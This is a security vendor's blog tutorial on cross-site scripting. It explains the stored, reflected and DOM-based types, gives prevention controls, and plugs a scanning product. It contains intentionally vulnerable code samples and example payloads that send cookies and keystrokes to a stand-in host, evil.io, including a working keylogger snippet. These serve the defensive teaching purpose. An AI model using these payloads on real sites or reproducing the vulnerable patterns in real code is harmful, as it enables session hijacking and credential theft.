Skip to content
Back to Blog
·9 min read·technology

Cross-Site Scripting (XSS): Types, Examples and Prevention

Cross-site scripting (XSS) lets attackers inject malicious scripts into your web app. Learn the three XSS types and proven prevention for Indian developers.

BR

Bachao.AI Research Team

Cybersecurity Research

Scan Your Stack for This

Security exposure this creates

Unpatched vulnerabilities in your tech stack are the #1 entry point for breaches targeting Indian businesses. Here's what to watch.

Cross-Site Scripting (XSS) is a web security vulnerability where attackers inject malicious scripts into web pages viewed by other users. When your application fails to validate or encode user input before rendering it in the browser, that input becomes executable code — stealing session cookies, hijacking accounts, defacing pages, or logging keystrokes in real time. XSS consistently ranks in the OWASP Top 10, is among the most reported vulnerability classes in bug bounty programmes, and remains trivially exploitable in applications built without a security-first mindset. For Indian developers building customer-facing platforms, understanding XSS is non-negotiable.

What Is Cross-Site Scripting and Why It Persists

XSS persists because modern web applications are built around dynamic content: user comments, search terms, profile data, product reviews — all rendered back into the DOM. Every one of those render paths is a potential injection point if developers trust input without validating or encoding it.

The attack surface has grown with single-page applications (SPAs). React, Angular, and Vue provide some protection by default, but developers routinely bypass those safeguards (dangerouslySetInnerHTML, innerHTML, eval(), document.write()) without realising the consequences.

#3OWASP Top 10 rank for Injection — XSS is the dominant sub-category (OWASP Top 10 2021)
40%of data breaches involved web application attacks as primary action vector (Verizon DBIR 2023)

The Three Types of XSS

Stored XSS (Persistent)

Stored XSS — also called persistent XSS — is the most damaging variant. The malicious payload is saved in the server's database (comment fields, user profiles, product reviews, forum posts) and served to every subsequent visitor. One successful injection can compromise thousands of users.

Vulnerable Node.js example:

javascript
// DANGEROUS — inserts user comment directly into HTML
app.post('/comment', async (req, res) => {
  const { comment } = req.body;
  await db.run(`INSERT INTO comments (text) VALUES ('${comment}')`);
  res.json({ ok: true });
});

// DANGEROUS — renders raw comment
app.get('/comments', async (req, res) => {
  const rows = await db.all('SELECT text FROM comments');
  const html = rows.map(r => `<li>${r.text}</li>`).join('');
  res.send(`<ul>${html}</ul>`);
});

An attacker posts <script>fetch('https://evil.io/steal?c='+document.cookie)</script>. Every visitor's session cookie is exfiltrated.

Fixed version:

javascript
const he = require('he'); // HTML-entities encoder

app.get('/comments', async (req, res) => {
  const rows = await db.all('SELECT text FROM comments');
  const html = rows.map(r => `<li>${he.encode(r.text)}</li>`).join('');
  res.send(`<ul>${html}</ul>`);
});

Reflected XSS (Non-Persistent)

Reflected XSS occurs when user input is immediately echoed back in the response without storage. The attacker crafts a malicious URL and tricks the victim into clicking it — typically through phishing emails or SMS.

Vulnerable PHP example:

php
// DANGEROUS — reflects search term directly
<?php
$search = $_GET['q'];
echo "<p>Results for: $search</p>";
?>

Attacker sends: https://yoursite.com/search?q=<script>document.location='https://evil.io/steal?c='+document.cookie</script>

Fixed version:

php
<?php
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<p>Results for: $search</p>";
?>

DOM-Based XSS

DOM-based XSS never touches the server. The payload lives entirely in the client-side JavaScript. The browser's DOM manipulation APIs read attacker-controlled data (URL hash, localStorage, postMessage) and write it to the page without sanitisation.

Vulnerable JavaScript:

javascript
// DANGEROUS — writes URL fragment directly to DOM
document.getElementById('welcome').innerHTML = decodeURIComponent(location.hash.slice(1));

Visiting https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)> executes the payload without any server involvement — no server logs, no WAF inspection of the request body.

Fixed version:

javascript
// SAFE — use textContent, never innerHTML for user-controlled data
document.getElementById('welcome').textContent = decodeURIComponent(location.hash.slice(1));
🚨
DANGER
DOM-based XSS is the hardest to detect. Static analysis tools and WAFs miss it entirely because the payload never reaches the server. Manual code review and browser-based DAST tools are required.

How a Stored XSS Attack Flows

graph TD A[Attacker submits malicious comment] --> B[Server stores payload in DB] B --> C[Victim visits page with comments] C --> D[Server returns page with raw payload] D --> E[Browser executes injected script] E --> F1[Session cookie sent to attacker server] E --> F2[Keystrokes logged silently] E --> F3[Page content defaced] F1 --> G[Attacker hijacks victim session] G --> H[Account takeover complete] style A fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style B fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style D fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style E fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style F1 fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style F2 fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style F3 fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style G fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style H fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style C fill:#1e3a5f,stroke:#3B82F6,color:#e2e8f0

Know your vulnerabilities before attackers do

Run a free VAPT scan — takes 5 minutes, no signup required.

Book Your Free Scan

Real Attack Scenarios

The classic XSS payload is a one-liner that exfiltrates the session cookie:

javascript
<script>new Image().src="https://evil.io/log?data="+encodeURIComponent(document.cookie)</script>

If the cookie lacks the HttpOnly flag, JavaScript can read it. The attacker receives the session token, replays it in their browser, and owns the account — no password required.

Keylogging

More sophisticated attackers use XSS to install a persistent keylogger on a vulnerable page:

javascript
<script>
document.addEventListener('keypress', function(e) {
  fetch('https://evil.io/keys', { method: 'POST', body: JSON.stringify({ key: e.key, url: location.href }) });
});
</script>

This silently records every keystroke — passwords, OTPs, credit card numbers — and ships them off-site.

Page Defacement and Phishing Overlays

Nation-state actors and hacktivists use stored XSS to deface high-traffic pages. More commercially motivated attackers inject fake login overlays on banking or e-commerce portals — the page looks legitimate, but credentials go to the attacker's server.

Cryptocurrency Mining and Malvertising

XSS payloads can load external JavaScript from CDNs, turning every visitor's browser into a CPU miner or redirecting traffic to malvertising networks. For Indian e-commerce founders running on shared infrastructure, this can silently chew through visitor bandwidth and tank trust scores.

XSS Distribution by Type

pie title XSS Vulnerabilities by Type - Bug Bounty Programmes (Approximate) "Reflected XSS" : 40 "Stored XSS" : 35 "DOM-based XSS" : 25
⚠️
WARNING
Indian SaaS applications often handle PII under the DPDP Act 2023. An XSS vulnerability that leaks user data can trigger regulatory scrutiny — not just reputational damage. Treat XSS as a compliance risk, not just a technical one. See our DPDP compliance guide for more context.

XSS Prevention: Six Controls That Work

1. Output Encoding (The Primary Control)

Encode all user-supplied data before rendering it. The encoding context matters:

Output ContextEncoding MethodExample Library
HTML bodyHTML entity encodinghe.encode(), htmlspecialchars()
HTML attributeAttribute encodingOWASP Java Encoder
JavaScript stringJS unicode escapingJSON.stringify() for data
CSS valueCSS hex encodingOWASP Java Encoder
URL parameterPercent encodingencodeURIComponent()

2. Content Security Policy (CSP)

CSP is an HTTP response header that tells the browser which script sources are trusted. A strict CSP policy eliminates entire classes of XSS even when encoding is missed:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self';

Use nonce-based CSP rather than unsafe-inline. Each request generates a fresh nonce; only inline scripts carrying that nonce execute. This makes injected <script> tags inert.

💡
TIP
Test your CSP policy using the CSP Evaluator from Google. Many policies that look strict still allow bypass via unsafe-eval or wildcard source domains.

3. Input Validation and Allowlisting

Validate on the server, not just the client. Use allowlists (accept only what is expected) rather than denylists (block known-bad strings — trivially bypassed).

javascript
// Allowlist: only letters, digits, spaces (for a name field)
const nameRegex = /^[a-zA-Z0-9 '-]{1,100}$/;
if (!nameRegex.test(req.body.name)) {
  return res.status(400).json({ error: 'Invalid name' });
}

Never rely on strip_tags() or regex-based HTML sanitisation as your only defence — they are consistently bypassed.

4. Framework Auto-Escaping

Modern frameworks auto-escape by default. Respect that:

    1. React: JSX auto-escapes text interpolation ({userInput} is safe). Never use dangerouslySetInnerHTML unless you have sanitised the content with a library like DOMPurify.
    2. Vue: {{ expression }} is safe. v-html directive is dangerous — avoid it for user content.
    3. Angular: string interpolation and property binding are safe. bypassSecurityTrustHtml() is not — avoid.
    4. Django/Jinja2: {{ variable }} auto-escapes. The |safe filter bypasses this — use only for trusted content.

Even if XSS executes, HttpOnly cookies cannot be read by JavaScript. This does not prevent all XSS impact, but it stops session-cookie theft — the most common post-exploitation step.

http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

SameSite=Strict additionally defends against CSRF combined with XSS chains.

6. Sanitise Rich HTML with a Library

If your application genuinely needs users to submit formatted HTML (rich text editors, CMS platforms), use a battle-tested sanitisation library rather than rolling your own:

javascript
import DOMPurify from 'dompurify';

const cleanHTML = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
  ALLOWED_ATTR: ['href', 'title']
});
document.getElementById('content').innerHTML = cleanHTML;

XSS Prevention Controls at a Glance

ControlStops StoredStops ReflectedStops DOM-basedComplexity
Output encodingYesYesPartialLow
Content Security PolicyYesYesYesMedium
Input validationPartialPartialNoLow
HttpOnly cookiesPartialPartialPartialVery Low
Framework auto-escapingYesYesNoLow
DOMPurify sanitisationYesYesYesLow
🛡️
SECURITY
No single control is sufficient. Layer output encoding + CSP + HttpOnly cookies at minimum. Run automated DAST scans regularly — manual review alone misses dynamically generated injection points. A free VAPT scan will surface XSS findings across your application automatically.

How Bachao.AI Detects XSS

Bachao.AI — the automated VAPT platform by Dhisattva AI Pvt Ltd — runs over 440 tests per scan, including reflected and stored XSS probes across input fields, headers, URL parameters, JSON API bodies, and file upload handlers. The scanner injects a range of context-aware payloads and watches for reflection in HTML, JavaScript, and HTTP response headers. DOM-based XSS requires authenticated browser-driven testing — the scan workflow includes a headless browser component for this purpose.

For Indian development teams shipping features under time pressure, automated scanning is the only way to maintain coverage across every endpoint without a dedicated red team.

Checking Your Framework Coverage

Different frameworks protect different layers. Audit your codebase for these bypass patterns:

bash
# React: find dangerouslySetInnerHTML usage
grep -r "dangerouslySetInnerHTML" src/

# Vue: find v-html directive
grep -r "v-html" src/

# Angular: find trustHtml bypasses
grep -r "bypassSecurityTrustHtml" src/

# Node.js: find direct HTML string building
grep -r "\.innerHTML\s*=" src/

# Python: find |safe filter in templates
grep -r "|safe" templates/

Each hit deserves manual review. Not all are vulnerabilities, but every one is a potential injection point that needs verification.

🎯Key Takeaway
XSS is not a legacy problem — it is the most prevalent web vulnerability class because user input meets HTML rendering at scale, every day. Output encoding at every render point, a strict Content Security Policy, and HttpOnly session cookies together eliminate the vast majority of XSS risk. Run automated scans; do not assume your framework handles everything.

Reference: OWASP XSS Prevention Cheat Sheet

The definitive developer guidance is the OWASP XSS Prevention Cheat Sheet — maintained by the Open Web Application Security Project and updated continuously. Every Indian developer building customer-facing web applications should treat it as required reading alongside the OWASP Top 10.

Frequently Asked Questions

What is the difference between stored and reflected XSS?
Stored XSS saves the malicious payload in the server's database and executes it for every subsequent visitor. Reflected XSS is injected via a crafted URL and executes only for the user who clicks that specific link. Stored XSS is generally higher severity because it is self-propagating — one successful injection compromises every future visitor.
Can React or Angular applications get XSS?
Yes. React auto-escapes JSX interpolation ({variable}) but dangerouslySetInnerHTML bypasses this entirely. Angular's template syntax is safe, but bypassSecurityTrustHtml() is not. Vue's v-html directive is dangerous for user content. The framework protects you only when you use its safe APIs — every bypass is a potential XSS vector.
What is DOM-based XSS and how is it different?
DOM-based XSS occurs entirely in the browser. The malicious payload comes from a source the browser controls — URL hash, query string, localStorage, postMessage — and is written to the page by client-side JavaScript without ever reaching the server. Server-side encoding and WAFs cannot stop it; only secure DOM APIs (textContent instead of innerHTML) and Content Security Policy can.
Does a Content Security Policy fully prevent XSS?
CSP significantly reduces XSS impact and can block script execution even when encoding fails. However, a misconfigured CSP (with unsafe-inline, unsafe-eval, or overly permissive source lists) provides little real protection. CSP should be treated as a defence-in-depth layer, not a substitute for output encoding.
How do attackers steal session cookies with XSS?
If a session cookie is not marked HttpOnly, JavaScript can read it via document.cookie. The attacker's injected script sends the cookie value to a server they control, then replays that cookie in their own browser to impersonate the victim — no password required. Marking session cookies HttpOnly prevents JavaScript from reading them, eliminating this specific attack path.
Is XSS a compliance risk under Indian law?
Yes. Under the DPDP Act 2023, organisations processing personal data are required to implement appropriate security safeguards. An XSS vulnerability that enables theft of user PII can constitute a failure to maintain reasonable security — exposing the data fiduciary to regulatory scrutiny. See the DPDP compliance guide for the full obligations picture.
BR

Bachao.AI Research Team

Cybersecurity Research

AI-powered security research and threat intelligence from the Bachao.AI team. Covering the latest vulnerabilities, CVEs, and cybersecurity developments affecting Indian businesses.

Get cybersecurity insights for Indian SMBs

Weekly vulnerability alerts, DPDP compliance tips, and security guides. No spam — unsubscribe anytime.

We respect your privacy. Your email is never shared.

Check whether this class of vulnerability is exposed in your systems

Free automated scan — risk score in under 2 hours. No credit card required.

Scan Your Stack for This
Find your vulnerabilitiesStart free scan →